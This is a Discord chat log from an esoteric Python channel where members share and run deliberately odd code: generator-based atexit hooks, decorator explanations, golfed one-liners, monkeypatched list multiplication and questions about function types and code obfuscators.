@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
[5, 10, 1]
thats better
stupid version of
seq = [1, 5, 10, 10, 5, 1]
print(seq[1::2])
print(seq.__getitem__(slice(1, None, 2)))```
also that's exactly 1991 chars, so just enough chars to slap it in a code block and !e
!e py print(__import__('sys').version)
@last locust :white_check_mark: Your 3.11 eval job has completed with return code 0.
3.11.4 (main, Aug 29 2023, 19:23:35) [GCC 8.3.0]
3.11.4, not 3.11.5
Btw here is a funny and useless 39b modification of your 38b solution
||
a,b=0,1
while b**-52:print(a);a,b=b,a+b
||
that is funny
I dunno where else to go.
Anyone here have a good experience installing python 3.11 on Raspbian/bullseye ?
That they are willing to share?
Maybe try at #1035199133436354600
idk what category so imma put here
any tips on how to make this more usuable and for not a specific use case?
class Result:
def __init__(self,
success: bool,
message: str|None = None,
value = None,
full_error: str|None = None,
full_value_for_debugging: str|None = None
) -> None:
self.success = success
self.message = message
self.value = value
self.full_error = full_error
self.full_value_for_debugging = full_value_for_
because ugly af and confusing
looking for something like rust's Result
should try
from functools import reduce
R='R_initesul'
globals()[R[0]+R[6]+R[7]+R[8]+R[9]+R[5]] = type(R[0]+R[6]+R[7]+R[8]+R[9]+R[5], (object,), {
(R[1]*2+reduce(lambda a, b:a + b, R[2:6])+R[1]*2):lambda self, sc,msg=None,vle=None,fe=None,fvfb=None:[setattr(a,b) for (a,b) in zip(["success", "message", "value", "full_error","full_value_for_debugging"], [sc, msg, vle, fe, fvfb])]
})
note here I assumed it is being executed in the main module, else, you should use locals()
can you be more specific about what you want
ok now for real, you could use a decorator to wrap the results of a function over your result class and use __getattr__ and __setattr__ to emulate the original object's behaviour, if you want to go further with it you could create every class based on a template which it's upper type is the type of the returning value of the function such that it passes the isinstance checks on other functions for type safety
idk if it's worth reaching that extent though
also, full_error shouldnt track either the exception or the traceback rather than a string? well, it's your code but python's errors can be stored and saved as Exception objects, and the traceback from the main call to the source of the error can be stored as well as a Traceback. (check the python lib with that name)
Alright I have been gone for a while
what cursed new discoveries have been made in the last year?
muaahahahahaha
were you still here when i found a way to implement atexit via generators?
!e only thing I really have at the moment is the ultimate help text ```py
import sys
sys.stdin=type("alwaysnewline",(),{'encoding':'utf-8','readline':lambda s,*whatever:'\n'})()
help("..")
@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | Help on built-in module builtins in .:
002 |
003 | NAME
004 | builtins - Built-in functions, types, exceptions, and other objects.
005 |
006 | DESCRIPTION
007 | This module provides direct access to all 'built-in'
008 | identifiers of Python; for example, builtins.len is
009 | the full name for the built-in function len().
010 |
011 | This module is not normally accessed explicitly by most
... (truncated - too many lines)
Full output: unable to upload
well it is too chonky
but it is the help on literally every builtin error, function and variable
!e ```py
def atexit(func, _store=[]):
def gen():
try:yield
finally:func()
_store.append(g:=gen())
next(g)
@atexit
def foo():
print('i run when the program exits')
print('i run first')
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | i run first
002 | i run when the program exits
that looks deliciously cursed
I think my method was a bit more crude, by hooking onto the deletion of a random object
if something gets deleted, my program assumes the program is exiting, so it runs my atexit
of course, I reference the object somewhere so it doesn't get trash collected
that happens with chilaxan's thing also though, right?
del atexit
yea it does
I think I see how it runs
code
!eval [python_version] <code, ...>
Can also use: e
Run Python code and get the results.
This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.
If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.
Currently only 3.11 version is supported.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!
i explained it here: #esoteric-python message
!e I still stand by getting the trash collector to do the work ```py
def atexit(funky):
globals()['0'] = type('bye',(),{'del':lambda*_:funky()})()
return funky
@atexit
def tootles(): print("goodbye world muahahahaha")
print("hello world")
@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | hello world
002 | goodbye world muahahahaha
mine does get the trashcollector to do the work
just in a more obscure way (and without defining a custom type)
not with this strategy
stuff()
exit()
forbidden_code()
that sort of structure
but without making exit not work
anyway, the ultimate help function, just do help("..")
funky
all my IT work is funky
I made a 4-dimensional 2048 game solver run at about 400 moves per second
reaches the ~2M tile in about 1 minute 40 seconds
In order to achieve that, I had to only print the board every 10 moves, due to how long it takes to print text
or maybe it's due to the assembling of the huge string I'm printing
Aye yo, what
Where did you guys learn this?
here
you just pinged someone lol
rip
Yeah, I did that, someone in engineerman discord suggested it, ty
@this
def that(): stuff
is the same as
def that(): stuff
that = this(that)
just wanna visualize
@this
def that():
...
def that():
...
that == this(that)
like that?
affirmative
it's the alternative code
!e ```py
@this
def that():
...
def that():
...
that == this(that)
@ivory niche :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | @this
004 | ^^^^
005 | NameError: name 'this' is not defined
oh obviously
im lost then
you are redefining that to this(that)
why?
But why reassign to same variable name
because you don't want a new variable, you want the function name to remain the same
oh i think i get it
because the unmodified function is inconsequential
it is the modified function that you want to assign to the name of the function
hence the wrapper modifies the function by taking it as an argument and assigning the output back to the function name
So its simply overriding a function, and replacing it with the func inside the method
!e ```py
@print
@lambda c:c._
class c:_="Hello World!"
@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello World!
you can have multiple wrappers
could you give me a real use case example?
@ivory niche:
1: wrong channel
2: https://github.com/rustedpy/result
What channel then, there so many lol
and thanks
!e sure ```py
def atexit(func, _=[]):
def gen():
try:yield
finally:func()
_.append(g:=gen())
next(g)
@atexit
def on_exit():
print("everything ran smoothly")
print("running stuff")
@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | running stuff
002 | everything ran smoothly
oh i thought that was a #general for nerds
its pydis now
that's what the wrapper expression does
!e this is for dumb shit like
eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__add__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))))))("Hello, world!"))})().E()```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world!
Oh
@atexit runs just after the function is defined
so after the def __on_exit__ is defined, atexit immediately modifies it taking it as an argument and overriding the name in the namespace
reminds me of this project https://github.com/PiggyAwesome/Pain-inator
atexit then moves the function object into a generator, replacing its spot in the namespace with None
then when the trash collector attempts to delete the generator, it raises GeneratorExit so it reaches the finally block and executes the function
yes
which appends gen() to _, as well as set g to the output
Then you can. next on g, but g is not an interable, so wouldnt it return an error?
or does the try finally impact the already returned value?
g is an iterable, because it has a yield statement
oh yeah i rmember mb
so calling g returns the iterable, calling next gets the yield
then the generator is stuck at the yield which is inside try
hence generator exit will trigger the finally
but there is nothing yielded, so it errors?
nope. it yields None, to nowhere
so nothing happens at first
the action is on exit
oh, so it gets the next element in _, (containing yield)
but wont it give indexerror?
the try wouldn't work because it has already returned, right?
oh sorry i forgor
it is to store the generator
inside the function
so that it doesn't get immediately deleted
next gets the next thing in g so its the next object in the yield. the yeild contains only one None, so would that work?
it only needs one none
it calls next once, which yields none
then the generator is waiting at that line of code for the next next
which never comes
well, i wrote that by hand
tbh, you can just find & replace, which is easy enough
Or you can just make a regex match for matching all jnderscore variables and replace them inside {}, then just print it lmao
a good example would be something simple like:
def print_function(func):
# since we want to return a function, let's define a function inside here
def replace(*a,**kargs): # we dont now the arguments being passed to the original
print(func.__name__ + '() is being called') # print the function name
return func(*a,**kargs) # call the original function with it's original arguments
return replace
@print_function
def example1(a,b):
print(a + b)
@print_function
def example2(a):
print("this is a:", a)
# when called either of this function a message of example1() is being called or example2() is being called will be printed just before the function execution
since we're in esoteric python just give me some time and I'm gonna make this unreadable to any human
a little more esoteric
import sys
def print_function(func):
return lambda *a,**kargs: [sys.stdout.write(func.__name__ + '() is being called\n'), func(*a,**kargs)][1]
@print_function
def example1(a,b):
# I decided for this one to stay like this
print(a + b)
example2 = print_function(lambda a:sys.stdout.write("this is A: " + str(a)))
example1(2,3)
😭
def class_(f):
return type(f"{f}", (), {"__init__": f})
@class_
def Point(self, x: int, y: int):
self.x = x
self.y = y
p = Point(2, 3)
print(p.x, p.y)
😈
can probably improve the repr of Point but oh well
2013 javascript be like
pythonfuck
just improved it to add methods:
def class_(f):
return type(f.__name__, (declare,), {"__init__":f})
class declare(object):
def __init_subclass__(cls) -> None:
og_init=cls.__init__
cls.__init__ = lambda *a, **k: (declare.__init__(a[0],cls) or og_init(*a, **k))
def __init__(self, tp):
self.tp = tp
@classmethod
def decl(cls,func):
setattr(cls, func.__name__, func)
@class_
def Point(self, x: int, y: int):
self.x = x
self.y = y
@Point.decl
def setx(self, x):
self.x = x
p = Point(2, 3)
print(p.x, p.y)
p.setx(1)
print(p.x, p.y)
actually, this would be better
declare = type('declare', (object, ), {"decl":classmethod(lambda cls, func: (setattr(cls, func.__name__, func)))})
def class_(f):
return type(f.__name__, (declare,), {"__init__":f})
@class_
def Point(self, x: int, y: int):
self.x = x
self.y = y
@Point.decl
def setx(self, x):
self.x = x
p = Point(2, 3)
print(p.x, p.y)
p.setx(1)
print(p.x, p.y)
as it isnt needed the tp property to scale and to access the class, but type(self) can be used (or self.__class__)
dataclasses but ???
Hey, I have a small golfing challange for you
from enum import Enum
class UnitType(Enum):
HERO = 1
COURIER = 2
SCOUT = 3
COLLECTOR = 4
class Unit:
def __init__(self, unitType):
self.unitType = unitType
unit = Unit(UnitType.HERO)
units = [Unit(UnitType.SCOUT), Unit(UnitType.COURIER), Unit(UnitType.COURIER)]
targetUnits = [UnitType.HERO, UnitType.HERO, UnitType.COURIER, UnitType.COLLECTOR]
def main():
Basically u need to change Unit.unitType of units so that it matches targetUnits (order doesn't matter). If there isn't enough units in units then you need to them. If there is too many units don't do anythin about it.
what does that mean
so in the example above, at the end if you would print units it should look like this
for u in units:
print(u.unitType)
> UnitType.HERO
> UnitType.COURIER
> UnitType.HERO
> UnitType.COLLECTOR
@versed eagle
Is UnitType and Unit already defined?
can you not just do units=targetUnits
targetUnits holds only UnitType
and units holds Unit objects
map
yup
oh so it will be that easy? :/
I thought it would be more interesting ;p
*units,=map(Unit,targetUnits) i think
but yeah
Maybe an example of ungolfed code would help?
the prompt doesn't really make sense to me
but i think that's what you wanted
yeah, i had trouble putting words together
^ is roughly equivalent to this: ```py
units = []
for unit in targetUnits:
units.append(Unit(targetUnits))
so it replaces the object with a new one?
yeah
what if Unit would contain one more variable, like level = someRandomInt
wording wordily with words is hard 😔
and it cant be changed
exactly
multi arg map: ```py
*units,=map(Unit,targetUnits,list_of_random_ints)
class Unit:
def __init__(self, unitType):
self.unitType = unitType
self.level = Random.Range(1,100)
oh do you want us to edit the unit objects in place?
yep
for a,b in zip(units,targetUnits):a.unitType=b
*map(setattr,units,["unitType"]*1e9,targetUnits),
for a,b in zip(units,targetUnits):a.unitType=b
``` mine is shorter
*1e9?
yes
1e9 is also a float, which won't work iirc
don't question it, and don't write a test case with more than 1e9 thingies
!e [1]*1e2
@gleaming linden :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | [1]*1e2
004 | ~~~^~~~
005 | TypeError: can't multiply sequence by non-int of type 'float'
yup
maybe not shorter but a cleaner way to do that would be to use cycle from itertools instead of such a big array of 'unitType', so it would be
from itertools import cycle
*map(setattr, units, cycle(['unitType']), targetUnits)
and as for memory usage, is much better than [x]*(9**9) as, even though python has optimizations on that, according to sys.getsizeof() such an array would occupy ~3099363968 bytes or ~2955.78mb
so I rather use cycle than list multiplication
mhm
list mul also fails if you have more units than 9**9
but its a cheap (shorter than some other solutions; cheaper in bytes) way to pass most testcases for things, since usually people dont test for absurdly big lists
if you're gonna use itertools then just use repeat
!e print([1]*1e1)
@fleet bridge :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | print([1]*1e1)
004 | ~~~^~~~
005 | TypeError: can't multiply sequence by non-int of type 'float'
1e9 is a float, so you cant multiply list by that
Oh, you already mentioned that, my bad
I guess reading chat from bottom to top is not good
from bottom to top?
Poll:
A * -1 should reverse the list
A * 1e100 should be allowed
A * 0.5 should cut the list in half (meaning A[:len(A)//2])
Vote ✅ if you agree, and
if you disagree
!e why vote when I can implement it? ```py
from fishhook import hook, orig
@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
if repeat:
header = self * repeat
else:
header = []
return (header + self[:round(len(self)*slc)])[::-1 if isneg else 1]
A = [*range(4)]
print(A * -1)
print(A * 1e1)
print(A * .5)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [3, 2, 1, 0]
002 | [0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3]
003 | [0, 1]
!e ```py
from fishhook import hook, orig
@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
if repeat:
header = self * repeat
else:
header = []
return (header + self[:round(len(self)*slc)])[::-1 if isneg else 1]
A = [*range(4)]
print(A * -3.5)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, 0, 3, 2, 1, 0, 3, 2, 1, 0, 3, 2, 1, 0]
@distant salmon ^ sample implementation
!e a bit more concise ```py
from fishhook import hook, orig
@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
return (self * repeat + self[:round(len(self)*slc)])[::-1 if isneg else 1]
A = [*range(10)]
print(A * .5)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
[0, 1, 2, 3, 4]
This reminds me of cutting single characters
Like '8'[0.5:] == '3' and '8'[..., 0.5:] == 'o'
W*0.5==V
as long as all of these apply to strings also
*all nonlazy ordered iterables
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | ab
002 | (3, 2, 1)
!e ```py
from fishhook import hook, orig
@hook(list | str | tuple | bytes | bytearray)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
return (self * repeat + self[:round(len(self)*slc)])[::-1 if isneg else 1]
A = 'abcd'
print(A * .5)
B = (1,2,3)
print(B * -1)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | ab
002 | (3, 2, 1)
just add them into the @hook
Could you do this against one of the abcs, like Sequence?
On more thinking, that doesn't make sense
list is a subclass of Sequence, but it defines its own getitem right? so it doesn't matter if you hook into Sequence
or does issubclass not represent actual inheritance?
!e ```py
print(list.bases)
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
(<class 'object'>,)
!e
from collections.abc import Sequence
print(issubclass(list, Sequence))
@digital mesa :white_check_mark: Your 3.11 eval job has completed with return code 0.
True

Return True if class is a subclass (direct, indirect, or virtual) of classinfo. A class is considered a subclass of itself. classinfo may be a tuple of class objects (or recursively, other such tuples) or a Union Type, in which case return True if class is a subclass of any entry in classinfo. In any other case, a TypeError exception is raised.
issubclass
the word virtual in the first sentence links to this
Abstract base classes complement duck-typing by providing a way to define interfaces when other techniques like hasattr() would be clumsy or subtly wrong (for example with magic methods). ABCs introduce virtual subclasses, which are classes that don’t inherit from a class but are still recognized by isinstance() and issubclass(); see the abc module documentation. Python comes with many built-in ABCs for data structures (in the collections.abc module), numbers (in the numbers module), streams (in the io module), import finders and loaders (in the importlib.abc module). You can create your own ABCs with the abc module.
ABCs introduce virtual subclasses, which are classes that don’t inherit from a class but are still recognized by isinstance() and issubclass();
smh
ugh python is annoying sometimes
its a nice language but it tries to be too smart sometimes
It's nice when you don't have to care about this and just want to use Sequence for it's intended use. And then this happens :)
what is the intended use of Sequence?
jokes on you, you cant use it
it can't be instantiated
its basically a sentinal
It's nice for type hinting. Since python doesn't have a nice way of specifying the size of a sequence of values, especially with numpy. So both in pygame, and in the code I wrote for this Code Jam, I use the type hint x: tuple[int, int] | Sequence[int] for saying the data should be this shape, but it works with any sequence of length 2 of ints, but I can't write that explicitly.
for typehinting
and what use does that have, beyond populating __annotations__ with values?
Do you mean type hinting in general, or that sort of type hinting? Also, I'm not clear on the exact details but I think you can get some sort of benefit by inheriting from Sequence.
either
you cant get sequence pattern matching without inheriting from Sequence (sorta)
For type hinting in general, it's always nice to know what types a function is expecting, even if it isn't enforced. For this specifically, if I just used tuple[int, int] while the code would work if I passed in other 2 long sequences, my IDE would complain and MyPy would stop it entirely. The alternative would be writing something like tuple[int, int] | list[int, int] | npt.NDArray[int] | pygame.Vec2 which is just way too bulky, and I could still forget valid 2 int container classes.
For type hinting in general, it's always nice to know what types a function is expecting, even if it isn't enforced.
you can get the same thing by reading documentation
or the source of the function itself
come to think of it, wouldnt you have to read the function's source anyway to see the typehints
or use runtime stuff (such as __annotations__), at which point you could have just tested the function directly
This is getting more into language design or python design than actual esoteric python, but this is just what we have. I don't want to have to read the api reference or documentation or source code if I don't have to, and IDEs can use type hints to display that info to me in the code. It's just a standard. It's also the standard MyPy uses, which it can't do with just the source code.
idk what mypy is
but yeah i agree, the conversation has probably gone a bit beyond the scope of this channel lol
You could do a class which everything is an instance of It and a subclass of It and send It as argument to libraries, the isinstance checks are passed and then you get AttributeError ot whatever
you can make the attribute errors not happen also
!e ```py
def spark(text, *, dark=False): return '|' * (3 + (2 * len(text))) + '\n' + '|' * (len(text) - 1) + ('-' if dark else '+') + '\x20' + ('+' if dark else '-') + '\x20' + ('-' if dark else '+') + '|' * (len(text) - 1) + '\n' + '|' * ((len(text) - 1) // 2) + (('|' + ('-' if dark else '+')) if 2 == len(text) else '') + ('' if 2 == len(text) else '-\x20' if dark else '+\x20') + (text if 2 != len(text) else '\x20' * len(text)) + (('\x20' + ('-' if dark else '+') + '|') if 2 == len(text) else '\x20-' if dark else '\x20+') + '|' * ((len(text) - 1) // 2) + ('|' if 0x00 == len(text) % 2 else '') + '\n' + '|' * (len(text) - 1) + ('-' if dark else '+') + '\x20' + ('+' if dark else '-') + '\x20' + ('-' if dark else '+') + '|' * (len(text) - 1) + '\n' + '|' * (3 + (2 * len(text)))
print(spark('Hello, Esoteric World!'))
Attempt to circumvent filter detected. Moderator team has been alerted.
how am I trying to circumvent it
!e print('```')
@fleet bridge :warning: Your 3.11 eval job has completed with return code 0.
[No output]
!e ```py
print(chr(96) * 3)
@dreamy pier :white_check_mark: Your 3.11 eval job has completed with return code 0.
Code block escape attempt detected; will not output result
Full output: https://paste.pythondiscord.com/GZYVJMW667ZKMB5DYMEBHUYM4M
that's something different
someone make PR to escape `s
and to return an instance of itself
or actually a class like SeparateAttributes such as
class A(SeparateAttributes):
def __init__(self, x):
self.x = x
def get_x(self):
return self.x
class B(A):
def foo(self):
x = self.get_x() # correct
x = self.x # AttributeError
return x
that would be fine. ¿you understand what I mean? a class that automatically wraps all the methods defined in it so that self is not itself but an instance of whatever with the attributes of the instance that come strictly from that class and the addup of the methods of the class
that's a huge fun pain ¿isn't it?
also a consecuence of that is that each class would have diferent attributes instances for each attribute
like
class A(SeparateAttributes):
def __init__(self, x):
self.x = x
def get_x(self):
return self.x
class B(A):
def foo(self):
self.x = 3
x = self.get_x() # correct
return x
a = B(1) # A.x = 1
print(a.foo()) # 1
print(a.x) # 3
how would that be implemented?
probably the most accurate way would be by analysing the bytecode
though you could make naive implementations that mostly work just by comparing the attributes of the class to the attributes of the instance
*a,=map(chr,range(97,123))
for i in a:
if {i}&"hello": #i in "hello"
print("hi")```
why this doesnt works
i just saw something similar in
if i in"helo":
i just was wondering when can i use that the {}&
strings aren't sets
if{i}&{*"helo"}:
if i in"helo":
if{i}&{*"helo"}:
if i not in"helo":
if{i}-{*"helo"}:
thanks man you are the goat
i hope it works well enough
def print_fields(obj: object) -> None:
IS_PROB_A_FIELD: list[type] = [int, float, str, bool]
for name, attr in obj.__dict__.items():
# if not a function
if not hasattr(attr, '__call__'):
print(f"{obj.__class__.__name__} - {name} ({attr.__class__.__name__}) - {attr}")
# if a class
if attr.__class__ not in IS_PROB_A_FIELD:
print_fields(attr)
if not isinstance(attr, types.FunctionType):
instead of
if not hasattr(attr, '__call__'):
but in any case note that class methods are in type.__dict__ while only properties set by init are in the object.__dict__
huh
what is the difference between functiontype and checking for call btw
!e
class A:
def a(self): pass
def __init__(self, x):
self.x = x
print(A.__dict__)
print(A(1).__dict__)
@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | {'__module__': '__main__', 'a': <function A.a at 0x7fd2b2a93e20>, '__init__': <function A.__init__ at 0x7fd2b2b05940>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}
002 | {'x': 1}
you can implement a __call__ for a type and it wouldnt be a method, but another field to print
mhm
ic
i just didnt want to dig into types
hm
will isinstance(attr, (lambda: pass).__class__) work?
class XInfo:
def __init__(self,x):
self.x = x
def __call__(self,):
return self.x
class PrintedFields:
def __init__(self,...):
self.xinfo = XInfo(self) # skipped for your '__call__' search
!e
def ahduhw(): pass
print(isinstance(ahduhw, (lambda: pass).class))
@stark granite :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 2
002 | print(isinstance(ahduhw, (lambda: pass).__class__))
003 | ^^^^
004 | SyntaxError: invalid syntax
@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
gud
actually i think
# taken for types.py in the python standar lib
def _f(): pass
FunctionType = type(_f)
LambdaType = type(lambda: None) # Same as FunctionType
class _C:
def _m(self): pass
MethodType = type(_C()._m)
BuiltinFunctionType = type(len)
BuiltinMethodType = type([].append)
there are all those
daim
so
even though, there are subclasses and types wich are the same, but, here are all function types
just checking for FunctionType will work because, as I said before, Methods are in the type.__dict__ not in the object's __dict__
!e
print(isinstance(list.append, (lambda: None).class))
@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.
False
daim
wait
!e
from types import FunctionType
print(isinstance(list.append, FunctionType))
@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.
False
wait but it should be True...?
yeah, theyre not subclasses for performance reasons
sad
!e
from types import (FunctionType as ft, LambdaType as lt, MethodType as mt, BuiltinFunctionType as bft, BuiltinMethodType as bmt)
def what_function_is_it(func):
print("FunctionType:", isinstance(func, ft))
print("LambdaType:", isinstance(func, lt))
print("MethodType:", isinstance(func, mt))
print("BuiltinFunctionType:", isinstance(func, bft))
print("BuiltinMethodType:", isinstance(func, bmt))
def standart_func(): pass
standar_lambda = lambda :None
class EstandarClass:
def standar_method(self): pass
what_function_is_it(standart_func)
what_function_is_it(standar_lambda )
what_function_is_it(EstandarClass().standar_method)
what_function_is_it(len)
what_function_is_it([].append)
@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | FunctionType: True
002 | LambdaType: True
003 | MethodType: False
004 | BuiltinFunctionType: False
005 | BuiltinMethodType: False
006 | FunctionType: True
007 | LambdaType: True
008 | MethodType: False
009 | BuiltinFunctionType: False
010 | BuiltinMethodType: False
011 | FunctionType: False
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/C2HLNIA24NCOIIC3PWXMMMHYYA
how truncated?
!e
from types import (FunctionType as ft, LambdaType as lt, MethodType as mt, BuiltinFunctionType as bft, BuiltinMethodType as bmt)
def what_function_is_it(func):
print(int(isinstance(func, ft)), end="")
print(int(isinstance(func, lt)), end="")
print(int(isinstance(func, mt)), end="")
print(int(isinstance(func, bft)), end="")
print(int(isinstance(func, bmt)), end="")
print() # newline
def standart_func(): pass
standar_lambda = lambda :None
class EstandarClass:
def standar_method(self): pass
what_function_is_it(standart_func)
what_function_is_it(standar_lambda )
what_function_is_it(EstandarClass().standar_method)
what_function_is_it(len)
what_function_is_it([].append)
@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 11000
002 | 11000
003 | 00100
004 | 00011
005 | 00011
truncate that
If the __call__ field happened to contain something callable, then the object would indeed become callable.
Tip: Unicode characters let you use names that resemble reserved words, but which the compiler does not mistake for reserved words.
def _atexit() :
# disable all __del__ methods at process termination to avoid segfaults
for ċlass in Context, GenericFile :
delattr(ċlass, "__del__")
#end for
#end _atexit
atexit.register(_atexit)
Seems like more work than it would be worth, compared to the convention of single_trailing_underscore_, ie for class_ in Context, GenericFile:
something i just discovered
a SyntaxError that occurs after code that should cause a SyntaxError ```pycon
a={1:2};{5: 2, a}
File "<stdin>", line 1
a={1:2};{5: 2, a}
^
SyntaxError: ':' expected after dictionary key
a=*{1:2}
File "<stdin>", line 1
SyntaxError: can't use starred expression here
It’s only three keystrokes with a compose key: compose-c-dot → “ċ”.
that seems without a general usecase
It's only two with a standard keyboard: shift + hyphen -> _
I didn't know code golfing involves least amount of keystrokes
The actual definition varies and can get contentious, but it's usually number of characters, or failing that number of bytes.
so why do key strokes matter (2 cf. 3) when every letter counts
clearly _c is one character more than ċ, no?
which would imply that you lost.
It's even then, both add 3 keystrokes. Currently it isn't a discussion of code golf, but the partiality of using unicode lookalikes to not shadow builtin names. In golf you would always use 1 letter variable names anyways.
depends
bonus, don't need a compose key
but it is the same amount of bytes
so everyone's got their own measures for golfing
some count by bytes some by # of characters and some by keystrokes
bytes is the most reasonable i think
there might be a 101 character solution to something that's 250 bytes long
like this one ```py
exec(bytes("慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡 慡慡慡慡慡慡慡慡慡慡慡慡","u16")[2:])
the original length of the thing was 150 bytes, 150 characters
it was just compressed to reduce in character count
and then keystrokes would just be hard to measure accurately with everyone agreeing since there are different keyboard layouts
some make a character easier to type than others
i may have uhhhh made a slight minor error in my code uhhhhh the file is 184 mb in size
!e
print(bytes("慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡 慡慡慡慡慡慡慡慡慡慡慡慡","u16")[2:].decode())
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa �aaaaaaaaaaaaaaaaaaaaaaaa
Personally I really don't like that style of compression. The fun is looking at a solution and seeing parts you recognize, but having no clue how the whole thing works. It's no fun when the solution looks the same was when you accidently open a file as text and get garbage data.
unrelated but
aaaaaaaaaaaaa is exactly what i'd say if i were relaxed
慡 translates to relaxed, or soothing
neat
huh
I mean the parts are still kinda there
it's just hidden under a layer of obfuscation
I just had a funny idea, an instanced counterpart to assert_never() and Never. Instead of a 'this code can never execute', it would be a 'you can't do anything with this. Used for when you want a function to actually not return anything, at least anything useful. As far as I can tell, at least in normal python land you can cover almost every case by just doing py class Unusable: def __dunder_method__(self, item): assert_never(1)
and do that for every single dunder method (except init and del), but you could probably make it a lot more robust with c magic I don't know.
is there a surefire way of accessing the self instance from the frame of a method call even if the argument isnt called self?
or for example if self gets reassigned later in the function
class A:
def a(self):
self = ...
b()
def b():
caller_frame = sys._getframe(1)
# how to get self from caller_frame now?
If you grab the first local that would be self
can anyone name some good obfuscators?
Depends on how you define "good" but none are good enough to have a practical purpose
do you need self to still be the class instance after reassigning?
just want to protect code against skids
if you just want to prevent unexperienced people from copying your code, https://github.com/0x3C50/pyobf2
any obfuscation can and will be broken by someone at some point tho
if a computer can execute it, a determined enough human can as well
okay thanks, is there a public deobfuscator out there for this?
okay
